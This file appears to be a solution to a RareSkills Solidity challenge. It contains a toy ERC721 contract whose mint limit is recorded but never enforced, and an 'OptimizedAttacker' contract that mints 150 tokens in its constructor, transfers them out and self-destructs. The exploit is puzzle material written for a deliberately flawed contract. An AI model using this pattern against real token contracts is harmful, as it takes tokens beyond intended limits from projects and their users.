RareSkills challenge

OptimizedMint150.sol

//SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.15;

import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "hardhat/console.sol";

// You may not modify this contract
contract NotRareToken is ERC721 {
    mapping(address => bool) private alreadyMinted;

    uint256 private totalSupply;

    constructor() ERC721("NotRareToken", "NRT") {}

    function mint() external {
        // console.log(uint256(keccak256(type(OptimizedAttacker).creationCode)));
        totalSupply++;
        _safeMint(msg.sender, totalSupply);
        alreadyMinted[msg.sender] = true;
    }
}

address payable constant ZERO_ADDRESS = payable(address(0x0000000000000000000000000000000000000000));
contract OptimizedAttacker {
    constructor(address victim) payable {
        unchecked {

            uint256 begSupply = block.number;
            NotRareToken(victim).mint();
            for (uint256 i = 1; i < 150;) {
                NotRareToken(victim).mint();
                ERC721(victim).transferFrom(address(this), msg.sender, begSupply + i - 1);
                ++i;
            }
            ERC721(victim).transferFrom(address(this), msg.sender, begSupply - 1);
        }
        selfdestruct(ZERO_ADDRESS);
    }
}